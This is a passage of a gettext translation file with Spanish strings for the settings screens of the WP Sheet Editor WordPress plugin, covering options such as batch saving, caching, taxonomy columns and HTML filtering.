field. We recommend you sort " "based on fields that have values in all the rows in order to get more " "accurate results. For example, it's better to sort 1k products by Title ASC " "because you know that all the rows will be sorted accurately, but if you " "sort 1k rows by SKU, the 500 rows with SKU will be sorted correctly but the " "500 rows without SKU could potentially have random order as we don't have " "any value to sort them accurately." msgstr "" "Ordenaremos las filas de la hoja de cálculo según este campo. Te " "recomendamos ordenar por campos que tengan valores en todas las filas para " "obtener resultados más precisos. Por ejemplo, es mejor ordenar 1k productos " "por Título ASC porque sabes que todas las filas se ordenarán con precisión, " "pero si ordenas 1k filas por SKU, las 500 filas con SKU se ordenarán " "correctamente pero las 500 filas sin SKU podrían tener un orden aleatorio ya " "que no tenemos ningún valor para ordenarlas con precisión." #: wp-sheet-editor/dev/inc/options-init.php:129 msgid "Solution to weird errors" msgstr "Solución de errores raros" #: wp-sheet-editor/dev/inc/options-init.php:135 msgid "Columns limit" msgstr "Límite de columnas" #: wp-sheet-editor/dev/inc/options-init.php:136 msgid "" "We limit the spreadsheet columns for performance reasons to avoid loading " "thousands of columns on the spreadsheet. You can increase this limit if you " "want to display more columns. Default: 310" msgstr "" "Limitamos las columnas de la hoja de cálculo por razones de rendimiento para " "evitar cargar miles de columnas en la hoja de cálculo. Puedes aumentar este " "límite si quieres visualizar más columnas. Predeterminado: 310" #: wp-sheet-editor/dev/inc/options-init.php:142 msgid "Separator for taxonomy terms cells" msgstr "Separador de celdas de términos de taxonomía" #: wp-sheet-editor/dev/inc/options-init.php:143 msgid "" "Taxonomy columns like post categories, post tags, etc. show terms separated " "by comma, if you use commas in your term names, use this option to change " "the separator" msgstr "" "Las columnas de taxonomía como las categorías de las entradas, las etiquetas " "de las entradas, etc. muestran los términos separados por comas, si usas " "comas en los nombres de las taxonomías, usa esta opción para cambiar el " "separador" #: wp-sheet-editor/dev/inc/options-init.php:150 msgid "How long do you want to wait between batches? (in seconds)" msgstr "¿Cuánto tiempo quieres esperar entre cada lote? (en segundos)" #: wp-sheet-editor/dev/inc/options-init.php:151 msgid "" "When you edit a large amount of posts in the spreadsheet editor we can't " "save all the changes at once, so we do it in batches. But your server can't " "handle all the batches one after another so we need to wait a few seconds " "after every batch to give your server a little break. The recommended value " "is 6 seconds, you can adjust it as it works best for you. If you get errors " "when saving you should increase the number to give your server a longer " "break after each batch" msgstr "" "Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, " "no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. " "Pero tu servidor no puede manejar todos los lotes uno tras otro, así que " "necesitamos esperar unos segundos después de cada lote para darle a tu " "servidor un pequeño descanso. El valor recomendado es de 6 segundos, puedes " "ajustarlo como mejor te convenga. Si obtienes errores al guardar, deberías " "aumentar el número para dar a tu servidor un descanso más largo después de " "cada lote." #: wp-sheet-editor/dev/inc/options-init.php:157 msgid "Disable post actions while saving?" msgstr "¿Desactivar las acciones posteriores al guardar cambios?" #: wp-sheet-editor/dev/inc/options-init.php:158 msgid "" "Some plugins execute a task after a post is created or updated. For example, " "there are plugins that share your new posts on your social profiles, other " "plugins that notify users after a post is updated, etc. There might be an " "issue with those plugins. For example, if you use a plugin that shares your " "new posts on your twitter account and update 100 posts in the spreadsheet " "editor you might end up with 100 tweets shared in your twitter account. So " "enable this option if you want to update / create posts silently without " "executing those functions." msgstr "" "Algunos plugins ejecutan una tarea después de crear o actualizar una " "entrada. Por ejemplo, hay plugins que comparten tus nuevas entradas en tus " "perfiles sociales, otros plugins notifican a los usuarios después de que una " "entrada es actualizada, etc. Puede que haya un problema con esos plugins. " "Por ejemplo, si usas un plugin que comparte tus nuevos posts en tu cuenta de " "twitter y actualizas 100 posts en el editor de la hoja de cálculo, puedes " "terminar con 100 tweets compartidos en tu cuenta de twitter. Así que " "habilita esta opción si quieres actualizar / crear posts silenciosamente sin " "ejecutar esas funciones." #: wp-sheet-editor/dev/inc/options-init.php:164 msgid "Suspend object cache invalidation?" msgstr "¿Suspender la invalidación de la caché de objetos?" #: wp-sheet-editor/dev/inc/options-init.php:165 msgid "" "Disable this if you are using a object/database cache plugin. We disable " "this by default to make the saving faster, when you edit a lot of posts " "WordPress tries to \"clean up\" the cache even if you are not using a cache " "plugin, making hundreds of unnecessary database queries." msgstr "" "Deshabilita esta opción si estás usando un plugin de caché de objetos/bases " "de datos. Desactivamos esto por defecto para que el ahorro sea más rápido. " "Cuando editas muchas entradas, WordPress intenta \"limpiar\" la caché " "incluso si no estás usando un plugin de caché, haciendo cientos de consultas " "innecesarias a la base de datos." #: wp-sheet-editor/dev/inc/options-init.php:171 msgid "Disable the replacement of line breaks with p tags?" msgstr "¿Deshabilitar la sustitución de los saltos de línea con etiquetas p?" #: wp-sheet-editor/dev/inc/options-init.php:172 msgid "" "When the sheet loads and saves post content, we run it through wpautop to " "prevent issues with line breaks. You can disable this if you dont want to " "see/save the p tags in the content." msgstr "" "Cuando se carga la hoja de cálculo y guarda el contenido de las filas, la " "ejecutamos a través de wpautop para evitar problemas de saltos de línea. " "Puedes deshabilitar esto si no quieres ver/guardar las etiquetas p en el " "contenido." #: wp-sheet-editor/dev/inc/options-init.php:178 msgid "Deactivate the data prefetch" msgstr "Desactivar el prefetch de los datos" #: wp-sheet-editor/dev/inc/options-init.php:179 msgid "" "When you load the spreadsheet, we get all the columns at once from the " "database to make it faster, this is called prefetch. This can cause issues " "if you have thousands of columns or rare database setups." msgstr "" "Cuando cargas la hoja de cálculo, obtenemos todas las columnas a la vez de " "la base de datos para hacerlo más rápido, esto se llama prefetch. Esto puede " "causar problemas si tienes miles de columnas o configuraciones raras en tus " "bases de datos." #: wp-sheet-editor/dev/inc/options-init.php:185 msgid "Meta keys that should use the infinite serialized fields handler" msgstr "" "Claves meta que deben utilizar el administrador de campos serializados " "infinitos" #: wp-sheet-editor/dev/inc/options-init.php:186 msgid "" "This is only for advanced users or if our support team asks you to use this " "option. We have 2 ways to handle serialized fields: the old handler (used by " "default, which has limitations) and the infinite serialization handler " "(better, it is not active by default to not break previous integrations). " "Use this option if you have serialized fields that save incorrectly or dont " "appear in the spreadsheet." msgstr "" "Esto es sólo para usuarios avanzados o si nuestro equipo de soporte te pide " "que uses esta opción. Tenemos dos maneras de manejar los campos " "serializados: el antiguo controlador (usado por defecto, que tiene " "limitaciones) y el controlador de serialización infinita (mejor, no está " "activo por defecto para no romper integraciones anteriores). Utiliza esta " "opción si tienes campos serializados que se guardan incorrectamente o no " "aparecen en la hoja de cálculo." #: wp-sheet-editor/dev/inc/options-init.php:191 msgid "Blacklist these columns" msgstr "Poner estas columnas en la lista negra" #: wp-sheet-editor/dev/inc/options-init.php:192 msgid "" "Enter the list of field keys separated by commas, you can enter the full " "meta field key or partial keywords or prefixes. This is useful because some " "plugins add thousands of unnecessary fields to the database and they clutter " "the spreadsheet" msgstr "" "Ingresa la lista de claves de campo separadas por comas, puedes ingresar la " "clave completa del campo meta o las palabras clave o prefijos parciales. " "Esto es útil porque algunos plugins añaden miles de campos innecesarios a la " "base de datos y desordenan la hoja de cálculo" #: wp-sheet-editor/dev/inc/options-init.php:197 msgid "Enable the utf8 encoding fix" msgstr "Habilitar la corrección de la codificación utf8" #: wp-sheet-editor/dev/inc/options-init.php:198 msgid "This might help if the spreadsheet doesnt load or it loads empty." msgstr "" "Esto puede ayudar si la hoja de cálculo no carga filas o si las filas " "aparecen vacías." #: wp-sheet-editor/dev/inc/options-init.php:205 msgid "Maximum number of seconds to download external images?" msgstr "Número máximo de segundos para descargar imágenes externas?" #: wp-sheet-editor/dev/inc/options-init.php:206 msgid "" "Default: 4. When you enter an external image URL in any image cells (or " "during the import), we download the image file into the WordPress media " "library and save it in the field. By default, we limit the download time to " "4 seconds, any download that exceeds that number of seconds will be cancelled" msgstr "" "Por defecto: 4. Cuando ingresas una URL externa en columnas de imágenes o " "durante la importación, descargamos la imagen y la guardamos en la librería " "multimedia de WordPress. Por defecto, limitamos la descarga a 4 segundos, " "cualquier descarga que supere eso será cancelada para evitar problemas de " "rendimiento." #: wp-sheet-editor/dev/inc/options-init.php:212 msgid "Maximum meta fields displayed in the advanced filters dropdown" msgstr "Cantidad máxima de campos disponibles para búsqueda avanzada?" #: wp-sheet-editor/dev/inc/options-init.php:213 msgid "" "We limit the list of fields to 1000 meta fields to avoid memory leaks/" "performance issues. If you want to search by a field that does not appear in " "the dropdown, increase this number." msgstr "" "Limitamos la lista de campos a 1000 meta campos para evitar pérdidas de " "memoria/problemas de rendimiento. Si quieres buscar por un campo que no " "aparece en el desplegable, aumenta este número." #: wp-sheet-editor/dev/inc/options-init.php:219 msgid "Allow line breaks in values during the export and import process" msgstr "Permitir saltos de línea en valores al exportar e importar?" #: wp-sheet-editor/dev/inc/options-init.php:220 msgid "" "We will not execute our removal of duplicate rows when the line breaks are " "allowed, so you might see duplicate rows in the export files in rare cases." msgstr "" "No ejecutaremos nuestra eliminación de filas duplicadas cuando se permitan " "los saltos de línea, por lo que es posible que veas filas duplicadas en los " "archivos de exportación en casos excepcionales." #: wp-sheet-editor/dev/inc/options-init.php:226 msgid "Allow safe html in post titles?" msgstr "Permitir HTML seguro en títulos de posts?" #: wp-sheet-editor/dev/inc/options-init.php:227 msgid "" "We will remove all the html tags by default. Activate this option to allow " "safe html tags, like b, span, i, etc" msgstr "" "Eliminaremos todas las etiquetas html por defecto. Habilita esta opción para " "permitir etiquetas html seguras, como b, span, i, etc." #: wp-sheet-editor/dev/inc/options-init.php:233 msgid "Attach every taxonomy term in the hierarchy to the posts?" msgstr "¿Acoplar cada término de taxonomía de la jerarquía a los posts?" #: wp-sheet-editor/dev/inc/options-init.php:234 msgid "" "By default, we only attach the last term in the hierarchy to the posts " "because WordPress automatically handles them correctly. But if you want to " "assign each term to the post, including the parent categories, activate this " "option" msgstr "" "Por defecto, sólo asignamos el último término de la jerarquía a las entradas " "porque WordPress las gestiona correctamente de forma automática. Pero si " "quieres asignar cada término a la entrada, incluyendo las categorías padre, " "habilita esta opción." #: wp-sheet-editor/dev/inc/options-init.php:240 msgid "Always run the save_post action after any post row is edited?" msgstr "" "¿Ejecutar siempre la acción save_post después de editar cualquier fila de la " "entrada?" #: wp-sheet-editor/dev/inc/options-init.php:241 msgid "" "By default, we run the save_post action only when a post data field is " "updated (fields other than meta and taxonomies) for performance reasons. " "Enable this if other plugins aren't detecting our changes or webhooks aren't " "running." msgstr "" "Por defecto, ejecutamos la acción save_post sólo cuando se actualiza un " "campo de datos de la entrada (campos que no sean meta y taxonomías) por " "razones de rendimiento. Habilita esto si otros plugins no están detectando " "nuestros cambios o los webhooks no se están ejecutando." #: wp-sheet-editor/dev/inc/options-init.php:250 msgid "Customize features" msgstr "¿Personalizar las características" #: wp-sheet-editor/dev/inc/options-init.php:255 msgid "Enable option to restrict spreadsheet views per user?" msgstr "" "¿Habilitar la opción de restringir las vistas de hojas de cálculo por " "usuario?" #: wp-sheet-editor/dev/inc/options-init.php:256 msgid "" "If you enable this option, we will add fields to the user profiles where you " "can specify which spreadsheet views they can use, they can use all the " "spreadsheet views if this is deactivated." msgstr "" "Si habilitas esta opción, añadiremos campos a los perfiles de usuario donde " "podrás especificar qué vistas de la hoja de cálculo pueden utilizar, pueden " "utilizar todas las vistas de la hoja de cálculo si esto está desactivado." #: wp-sheet-editor/dev/inc/options-init.php:262 msgid "Enable simple mode?" msgstr "¿Habilitar el modo simple?" #: wp-sheet-editor/dev/inc/options-init.php:263 msgid "" "If you enable this option, we will simplify the spreadsheet options and " "remove advanced examples, tips, and options rarely used in the search tool, " "bulk edit tool, import tool, export tool, and other places." msgstr "" "Si habilitas esta opción, simplificaremos las opciones de la hoja de cálculo " "y eliminaremos ejemplos avanzados, consejos y opciones poco utilizadas en la " "herramienta de búsqueda, la herramienta de edición masiva, la herramienta de " "importación, la herramienta de exportación y otros lugares." #: wp-sheet-editor/dev/inc/options-init.php:269 msgid "Disable the automatic formatting detection?" msgstr "¿Deshabilitar la detección automática del formato?" #: wp-sheet-editor/dev/inc/options-init.php:270 msgid "" "If you enable this option, some columns will appear as text. Normally we " "detect the date fields, image fields." msgstr "" "Si habilitas esta opción, algunas columnas aparecerán como texto. " "Normalmente detectamos los campos de fecha, campos de imagen." #: wp-sheet-editor/dev/inc/options-init.php:276 msgid "Disable cells lazy loading?" msgstr "¿Deshabilitar la carga lenta de las celdas?" #: wp-sheet-editor/dev/inc/options-init.php:277 msgid "" "The spreadsheet loads only the \"visible rows\" for performance reasons, so " "when you scroll up or down the rows are loaded dynamically. This way you can " "\"open\" thousands of posts in the spreadshet and it will work fast. " "However, if you want to use the browser search to find a specific cell, you " "need to disable the lazy loading in order to load all the rows at once and " "the browser will be able to find the cells. The browser search doesn't work " "by default because only the \"visible rows\" are actually created." msgstr "" "La hoja de cálculo carga sólo las \"filas visibles\" por razones de " "rendimiento, por lo que cuando te desplazas hacia arriba o hacia abajo las " "filas se cargan dinámicamente. De esta manera puedes \"abrir\" miles de " "posts en la hoja de cálculo y funcionará rápido. Sin embargo, si quieres " "usar la búsqueda del navegador para encontrar una celda específica, " "necesitas deshabilitar la carga perezosa para cargar todas las filas a la " "vez y el navegador será capaz de encontrar las celdas. La búsqueda en el " "navegador no funciona por defecto porque sólo se crean las \"filas " "visibles\"." #: wp-sheet-editor/dev/inc/options-init.php:283 msgid "Disable usage stats widget?" msgstr "¿Deshabilitar el widget de estadísticas de uso?" #: wp-sheet-editor/dev/inc/options-init.php:284 msgid "" "If you enable this option, the usage stats widget shown in the wp-admin " "dashboard will be removed." msgstr "" "Si habilitas esta opción, el widget de estadísticas de uso que se muestra en " "el panel de control de wp-admin será eliminado." #: wp-sheet-editor/dev/inc/options-init.php:290 msgid "Disable serialized columns support?" msgstr "¿Deshabilitar el soporte de columnas serializadas?" #: wp-sheet-editor/dev/inc/options-init.php:291 msgid "" "The spreadsheet automatically generates columns for serialized fields, but " "this can use a lot of CPU cycles depending on the number of serialized " "fields. You can disable this feature if the sheet is too slow to load or you " "get errors when loading the rows or you dont want to see columns with prefix " "\"SEIS\"." msgstr "" "La hoja de cálculo genera automáticamente columnas para los campos " "serializados, pero esto puede utilizar muchos ciclos de CPU dependiendo del " "número de campos serializados. Puedes deshabilitar esta característica si la " "hoja es demasiado lenta para cargar o si obtienes errores al cargar las " "filas o no quieres ver las columnas con el prefijo \"SEIS\"." #: wp-sheet-editor/dev/inc/options-init.php:297 msgid "Disable the heartbeat api in the spreadsheet?" msgstr "¿Deshabilitar la api heartbeat en la hoja de cálculo?" #: wp-sheet-editor/dev/inc/options-init.php:298 msgid "" "WordPress uses the heartbeat API to check the login status every few " "seconds. This can overload your server because it could make hundreds of " "requests when you are editing in the spreadsheet. You can disable it to " "reduce the stress on your server while editing in the sheet. However, if you " "keep the spreadsheet opened over multiple days your login session can expire " "and you wont be notified if you disable the heartbeat and this can cause " "issues while saving. So use this option only when you use the spreadsheet " "for a few hours only." msgstr "" "WordPress utiliza la API de heartbeat para comprobar el estado de inicio de " "sesión cada pocos segundos. Esto puede sobrecargar el servidor, ya que " "podría hacer cientos de peticiones cuando se está editando en la hoja de " "cálculo. Puedes deshabilitarla para reducir el estrés en tu servidor " "mientras editas en la hoja de cálculo. Sin embargo, si mantienes la hoja de " "cálculo abierta durante varios días, tu sesión de inicio de sesión puede " "caducar y no se te notificará si dehabilitas el heartbeat, lo que puede " "causar problemas al guardarla. Así que usa esta opción sólo cuando uses la " "hoja de cálculo durante unas pocas horas." #: wp-sheet-editor/dev/inc/options-init.php:303 msgid "User roles that can use the spreadsheet editor" msgstr "Roles de usuario que pueden utilizar el editor de hojas de cálculo" #: wp-sheet-editor/dev/inc/options-init.php:304 msgid "The plugin will not initialize for the user roles not selected here." msgstr "" "El plugin no se inicializará para los roles de usuario no seleccionados aquí." #: wp-sheet-editor/dev/inc/options-init.php:312 msgid "Enable the fancy taxonomy terms selector" msgstr "Habilitar el selector de términos de taxonomía bonito" #: wp-sheet-editor/dev/inc/options-init.php:313 msgid "" "Backwards compatibility. This setting will be removed in future updates." msgstr "" "Compatibilidad con versiones anteriores. Este ajuste se eliminará en futuras " "actualizaciones." #: wp-sheet-editor/dev/inc/options-init.php:319 msgid "What cell format to use for the taxonomy columns?" msgstr "¿Qué formato de celda se debe utilizar para las columnas de taxonomía?" #: wp-sheet-editor/dev/inc/options-init.php:321 msgid "New multi select dropdown (Default)" msgstr "Nuevo menú desplegable de selección múltiple (predeterminado)" #: wp-sheet-editor/dev/inc/options-init.php:322 msgid "Old single select autocomplete" msgstr "Autocompletado de selección simple antiguo" #: wp-sheet-editor/dev/inc/options-init.php:328 msgid "Show all the custom post statuses?" msgstr "¿Mostrar todos los estados de posts personalizados?" #: wp-sheet-editor/dev/inc/options-init.php:329 msgid "" "By default we show the CORE statuses: published, draft, private, scheduled, " "trash. However, some plugins register custom statuses: job managers, " "woocommerce. Enable this option to show all the custom statuses in the " "\"status\" column. CAREFUL. We will show all the statuses from all the post " "types in the dropdown because it is impossible to know the post type of each " "status to we can not separate them. Do this only if you are a developer." msgstr "" "Por defecto, mostramos los estados del NÚCLEO: publicado, borrador, privado, " "programado, papelera. Sin embargo, algunos plugins registran estados " "personalizados: gestores de trabajos, comercio de madera. Habilita esta " "opción para mostrar todos los estados personalizados en la columna " "\"status\". CUIDADO. Mostraremos todos los estados de todos los post types " "en el desplegable porque es imposible saber el post type de cada estado al " "no poder separarlos. Haz esto sólo si eres un desarrollador." #: wp-sheet-editor/dev/inc/options-init.php:335 msgid "Remove help messages from the cells?" msgstr "¿Ocultar los mensajes de ayuda de las celdas?" #: wp-sheet-editor/dev/inc/options-init.php:336 msgid "" "By default we show comments in some columns indicating the value format or " "why they are locked. for example, the category column shows a tip indicating " "to separate terms with a comma and how to add child categories, variation " "columns have a tip indicating why they are locked for parent products. You " "can activate this option to disable those tips." msgstr "" "Por defecto, mostramos comentarios en algunas columnas indicando el formato " "del valor o por qué están bloqueados. Por ejemplo, la columna de categorías " "muestra un consejo que indica que hay que separar los términos con una coma " "y cómo añadir categorías menores, las columnas de variaciones tienen un " "consejo que indica por qué están bloqueadas para los productos de los " "padres. Puedes activar esta opción para desactivar esos consejos." #: wp-sheet-editor/dev/inc/options-init.php:342 msgid "Manage taxonomy column values as term ids?" msgstr "" "¿Administrar los valores de las columnas de taxonomía como IDs de términos?" #: wp-sheet-editor/dev/inc/options-init.php:343 msgid "" "By default we show the categories as names separated by commas. Activate " "this option to display and save term ids separated by commas." msgstr "" "Por defecto mostramos las categorías como nombres separados por comas. " "Habilita esta opción para mostrar y guardar los ID de los términos separados " "por comas." #: wp-sheet-editor/dev/inc/options-init.php:349 msgid "Manage taxonomy column values as term slugs?" msgstr "" "¿Gestionar los valores de las columnas de taxonomía como slugs de términos?" #: wp-sheet-editor/dev/inc/options-init.php:350 msgid "" "By default we show the categories as names separated by commas. Activate " "this option to display and save term slugs separated by commas." msgstr "" "Por defecto mostramos las categorías como nombres separados por comas. " "Habilita esta opción para mostrar y guardar los términos separados por comas." #: wp-sheet-editor/dev/inc/options-init.php:356 msgid "Do you want to deactivate columns for new fields found?" msgstr "¿Quieres deshabilitar las columnas para los nuevos campos encontrados?" #: wp-sheet-editor/dev/inc/options-init.php:357 msgid "" "By default we automatically show columns for all the new fields found, so " "everytime we detect new fields you can see them and edit right away. But " "this might \"break\" your column sorting or annoy you if you have enabled " "specific columns. Enable this option to generate those columns but leave " "them deactivated so you can enable them later." msgstr "" "Por defecto mostramos automáticamente columnas para todos los nuevos campos " "encontrados, así que cada vez que detectamos nuevos campos puedes verlos y " "editarlos inmediatamente. Pero esto puede \"romper\" tu orden de columnas o " "molestarte si has habilitado columnas específicas. Habilita esta opción para " "generar esas columnas pero dejarlas desactivadas para que puedas " "habilitarlas más tarde." #: wp-sheet-editor/dev/inc/options-init.php:364 msgid "Math formula roundup decimals" msgstr "" "Decimales para redondear valores al realizar ediciones masivas en columnas " "numéricas?" #: wp-sheet-editor/dev/inc/options-init.php:365 msgid "" "We automatically round up to 2 decimals. You can enter any number here, for " "example, 1 to round to 1 decimal" msgstr "" "Redondeamos automáticamente a 2 decimales. Puedes ingresar cualquier número " "aquí, por ejemplo, 1 para redondear a 1 decimal" #: wp-sheet-editor/dev/inc/options-init.php:371 msgid "Display raw value on select cells?" msgstr "¿Mostrar el valor bruto en las celdas seleccionadas?" #: wp-sheet-editor/dev/inc/options-init.php:372 msgid "" "By default, we show the label in the cell instead of the raw value. But you " "can enable this option to display the raw value in the cells." msgstr "" "Por defecto, mostramos la etiqueta en la celda en lugar del valor bruto. " "Pero puedes habilitar esta opción para mostrar el valor bruto en las celdas." #: wp-sheet-editor/dev/inc/options-init.php:378 msgid "" "Delete user accounts in the entire network when deleting users in the " "spreadsheet?" msgstr "" "¿Borrar cuentas de usuario en toda la red al borrar usuarios en la hoja de " "cálculo?" #: wp-sheet-editor/dev/inc/options-init.php:379 msgid "" "When you use WordPress multisite and you delete a user in the users " "spreadsheet, by default we only remove the user from the current site but " "the user remains in the network. Activate this option if you want to delete " "the user account from the entire network" msgstr "" "Cuando usas una red multisitios y borras usuarios en la hoja de cálculo de " "usuarios, por defecto solo removemos el usuario del sitio actual. Habilita " "esta opción para eliminar al usuario de toda la red." #: wp-sheet-editor/dev/inc/options-init.php:385 msgid "Disable the addition of file ID to the image URLs?" msgstr "¿Deshabilitar la adición del ID del archivo a la URL de las imágenes?" #: wp-sheet-editor/dev/inc/options-init.php:386 msgid "" "By default, when you export the featured image column or gallery columns, we " "add the file ID to each image url so we can import them later faster. You " "can activate this option to not add the file id and the import will work " "fine later but it wont be as fast" msgstr "" "Por defecto, al exportar una columna con imágenes, agregamos el ID del " "archivo a la URL para que al importar, sepamos el origen de la imagen y la " "guardemos más rápido. Activa esta opción para no agregar el ID a la URL, " "todo funciona bien al habilitar esta opción, solo que el guardado puede ser " "un poquito más lento." #: wp-sheet-editor/dev/inc/options-init.php:392 msgid "Disable the display of file names in the image columns?" msgstr "¿No mostrar el nombre del archivo en la celda de las imágenes?" #: wp-sheet-editor/dev/inc/options-init.php:393 msgid "" "By default, we show the file name as a preview next to the thumbnail, you " "can activate this to show the thumbnail and upload buttons only" msgstr "" "Por defecto, mostramos el nombre del archivo como texto de vista previa " "junto a la miniatura, habilita esto para mostrar solo la miniatura y botones " "únicamente." #: wp-sheet-editor/dev/inc/options-init.php:399 msgid "Add html classes to the \"post status\" cells based on their values?" msgstr "" "¿Añadir clases html a las celdas \" estado de la entrada \" en función de " "sus valores?" #: wp-sheet-editor/dev/inc/options-init.php:400 msgid "" "You can activate this option if you want to add html classes, and use those " "html classes to change the cell colors for each status using custom CSS" msgstr "" "Puedes habilitar esta opción si quieres añadir clases html, y usar esas " "clases html para cambiar los colores de las celdas para cada estado usando " "CSS personalizado" #: wp-sheet-editor/dev/inc/options-init.php:407 msgid "" "Maximum number of characters displayed in the preview of the values of " "tinymce columns?" msgstr "" "¿Número máximo de caracteres mostrados en la vista previa de los valores de " "las columnas tinymce?" #: wp-sheet-editor/dev/inc/options-init.php:408 msgid "" "By default, we only display 30 characters. You can increase the number here " "to view larger previews." msgstr "" "Por defecto, sólo mostramos 30 caracteres. Puedes aumentar el número aquí " "para ver previsualizaciones más grandes." #: wp-sheet-editor/dev/inc/options-init.php:414 msgid "Manage the post parent column using IDs?" msgstr "¿Administrar la columna \"Padre\" usando los IDs?" #: wp-sheet-editor/dev/inc/options-init.php:415 msgid "" "By default, the \"parent\" column displays titles and saves using titles. If " "you activate this option, the column will display IDs and save IDs. This is " "useful if you have duplicate titles and you need to save the exact parent by " "ID." msgstr "" "Por defecto, la columna \"padre\" muestra títulos y guarda utilizando " "títulos. Si habilitas esta opción, la columna mostrará IDs y guardará IDs. " "Esto es útil si tienes títulos duplicados y necesitas guardar el padre " "exacto por ID." #: wp-sheet-editor/dev/inc/options-init.php:420 msgid "Enable the dark mode?" msgstr "¿Habilitar modo oscuro?" #: wp-sheet-editor/dev/inc/options-init.php:424 msgid "Auto (Default)" msgstr "Automático (por defecto)" #: wp-sheet-editor/dev/inc/options-init.php:425 msgid "Light mode" msgstr "Modo claro" #: wp-sheet-editor/dev/inc/options-init.php:426 msgid "Dark mode" msgstr "Modo oscuro" #: wp-sheet-editor/dev/inc/options-init.php:433 msgid "General settings" msgstr "Ajustes generales" #: wp-sheet-editor/dev/inc/options-init.php:438 msgid "" "In this page you can quickly set up the spreadsheet editor. This all you " "need to use the editor. The settings on the other tabs are completely " "optional and allow you to tweak the performance of the editor among other " "things." msgstr "" "En esta página puedes configurar rápidamente el editor de hojas de cálculo. " "Esto es todo lo que necesitas para usar el editor. Los ajustes en las otras " "pestañas son completamente opcionales y te permiten ajustar el rendimiento " "del editor entre otras cosas." #: wp-sheet-editor/dev/inc/options-init.php:445 msgid "Misc" msgstr "Miscelánea" #: wp-sheet-editor/dev/inc/options-init.php:451 msgid "Image preview width inside the cell" msgstr "Ancho de previsualización de la imagen dentro de la celda" #: wp-sheet-editor/dev/inc/options-init.php:458 msgid "Image preview height inside the cell" msgstr "Altura de previsualización de la imagen dentro de la celda" #: wp-sheet-editor/dev/inc/options-init.php:465 msgid "Initial rows offset" msgstr "Desfase inicial de las filas" #: wp-sheet-editor/dev/inc/options-init.php:466 msgid "" "When you have 1000 posts , you might want to open the spreadsheet and start " "editing from post 200. This option lets you skip a lot of rows. IMPORTANT. " "We use the pagination, so we will display the page closest to that number. " "For example. If you load 10 rows per page and enter 1205 as offset, the " "sheet will start from page 120 (index 1200) because it is the page closest " "to the defined offset." msgstr "" "Cuando tengas 1000 filas , puede que quieras abrir la hoja de cálculo y " "empezar a editar desde las fila 200. Esta opción te permite saltar muchas " "filas. IMPORTANTE. Usamos la paginación, así que mostraremos la página más " "cercana a ese número. Por ejemplo, si cargas 10 filas por página e ingresas " "1205 como desplazamiento, la hoja comenzará desde la página 120 (índice " "1200) porque es la página más cercana al desplazamiento definido." #: wp-sheet-editor/dev/inc/options-init.php:472 msgid "Delete the attached images when deleting a post?" msgstr "¿Borrar las imágenes adjuntas al borrar una entrada?" #: wp-sheet-editor/dev/inc/options-init.php:473 msgid "" "For example, when deleting a post completely (not moving to the trash), " "delete the featured image and product gallery images from the media library. " "CAREFUL.If you use the same images on multiple posts, it will break the " "images on other posts" msgstr "" "Por ejemplo, cuando se borra un post por completo (sin ir a la papelera), se " "borra la imagen destacada y las imágenes de la galería de productos de la " "biblioteca de medios. CUIDADO. Si usas las mismas imágenes en varios posts, " "se romperán las imágenes en otros posts" #: wp-sheet-editor/dev/inc/options-init.php:481 msgid "Spreadsheets enabled for these post types" msgstr "Hojas de cálculo habilitadas para estos post types" #: wp-sheet-editor/dev/inc/options-init.php:486 msgid "Disable the help toolbar?" msgstr "¿Deshabilitar la barra de ayuda?" #: wp-sheet-editor/dev/inc/options-init.php:487 msgid "This will hide the \"help\" option in the top toolbar" msgstr "Esto ocultará la opción \"ayuda\" de la barra de herramientas superior" #: wp-sheet-editor/dev/inc/options-init.php:494 msgid "Maximum visible characters in locked cells" msgstr "Máximo de caracteres visibles en las celdas bloqueadas" #: wp-sheet-editor/dev/inc/options-init.php:495 msgid "" "Locked cells only show a preview of the value. The default character length " "is %d" msgstr "" "Las celdas bloqueadas sólo muestran una vista previa del valor. La longitud " "de caracteres por defecto es %d" #: wp-sheet-editor/dev/inc/options-init.php:501 msgid "Don't show read-only columns in the advanced search?" msgstr "¿No mostrar columnas de sólo lectura en la búsqueda avanzada?" #: wp-sheet-editor/dev/inc/options-init.php:510 msgid "Disable extension offerings?" msgstr "¿Deshabilitar la promoción de extensiones?" #: wp-sheet-editor/dev/inc/options-init.php:516 msgid "Don't display the disabled columns in the modules?" msgstr "¿No mostrar las columnas deshabilitadas en los módulos?" #: wp-sheet-editor/dev/inc/options-init.php:517 msgid "" "By default, we show all the columns in the app modules (advanced search, " "bulk edit, export, import, etc), even if they're disabled in the columns " "manager. Activate this option to only display enabled columns." msgstr "" "Por defecto, mostramos todas las columnas en los módulos de la app (búsqueda " "avanzada, edición masiva, exportación, importación, etc), aunque estén " "deshabilitadas en el gestor de columnas. Habilita esta opción para mostrar " "solo las columnas habilitadas." #: wp-sheet-editor/dev/inc/options-init.php:523 msgid "" "Allow users with the capability unfiltered_html to save any html in the post " "content column?" msgstr "" "¿Permitir a los usuarios con la capacidad unfiltered_html guardar cualquier " "html en la columna de contenido del post?" #: wp-sheet-editor/dev/inc/options-init.php:524 msgid "" "By default, we remove any unsafe html from all the spreadsheet columns " "before saving the values. You can activate this option if you want to allow " "the WordPress super admins or administrators to add iframes, ad codes, etc " "to the post content. Use it at your own risk." msgstr "" "Por defecto, eliminamos cualquier html inseguro de todas las columnas de la " "hoja de cálculo antes de guardar los valores. Puedes activar esta opción si " "quieres permitir a los superadministradores o administradores de WordPress " "añadir iframes, códigos de anuncios, etc al contenido de la entrada. Úsala " "bajo tu propia responsabilidad." #: wp-sheet-editor/dev/inc/options-init.php:531 msgid "Generate serialized fields columns based on these posts" msgstr "Generar columnas de campos serializados basados en estos posts" #: wp-sheet-editor/dev/inc/options-init.php:532 msgid "" "This option allows you to indicate what posts to use as templates for " "specific serialized fields. Enter the field key and post ID separated with a " "colon. For example: serialized_key1:89, serializedkey2:90" msgstr "" "Esta opción te permite indicar qué posts utilizar como plantillas para " "campos serializados específicos. Ingresa la clave del campo y el ID del post " "separados por dos puntos. Por ejemplo: serialized_key1:89, serialized_key2:90" #: wp-sheet-editor/dev/inc/providers/post.php:511 msgid "" "Row ID: %1$d, Post type: %2$s does not exist in WordPress. Make sure your " "CSV uses the right name in the post type column." msgstr "" "Fila: %1$d, Tipo de post: %2$s no existe en WordPress. Asegúrate de que tu " "CSV utiliza el nombre correcto en la columna Post type." #: wp-sheet-editor/dev/inc/providers/post.php:527 msgid "" "Row ID: %d. You are trying to save an 